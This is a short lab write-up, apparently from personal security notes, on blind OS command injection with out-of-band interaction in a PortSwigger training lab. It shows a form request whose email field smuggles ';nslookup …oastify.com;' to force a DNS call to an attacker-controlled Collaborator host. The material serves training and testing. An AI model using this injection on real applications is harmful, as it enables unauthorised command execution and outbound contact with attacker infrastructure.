> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/command-injection/blind-command-injection-with-oob-interaction.md). # Blind Command Injection with OOB Interaction Blind Command Injection with OOB Interaction notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context. ### Blind OS Command Injection with Out-of-band Interaction This lab presents a vulnerability to injection of blind system commands into feedback functionality. / The application executes a shell command built from user-supplied data. This execution is **asynchronous** and does not influence the response returned by the application. It is not possible to redirect the output of the command to an accessible location. On the other hand, it is possible to cause **off-band interactions (OOB)** to an external domain. The goal of the lab is to use this injection to force the application to perform a \*\* DNS\*\* request to a Burp Collaborator domain. #### **Approche** `nslookup` is used to generate an outgoing query. / The injection is done in one of the fields of the form, surrounding the order with `;` to break the original syntax. Example of tested command: ``` nslookup ``` Payload injected: 
;nslookup IP;
If the injection works, we get the request on Burp Collaborator. #### **Example of Complete Request** {% code overflow="wrap" %} ```bash csrf=2GdzmbhNzU7HHOj8pOZUwUfJ1s0EIbjP&name=test&email=test%40test.com.com;nslookup v51x9gtodb5n35252oddaichm8szgq4f.oastify.com;&subject=test&message=test.com ``` {% endcode %} This payload triggers a DNS request to the controlled domain, confirming OOB blind injection.
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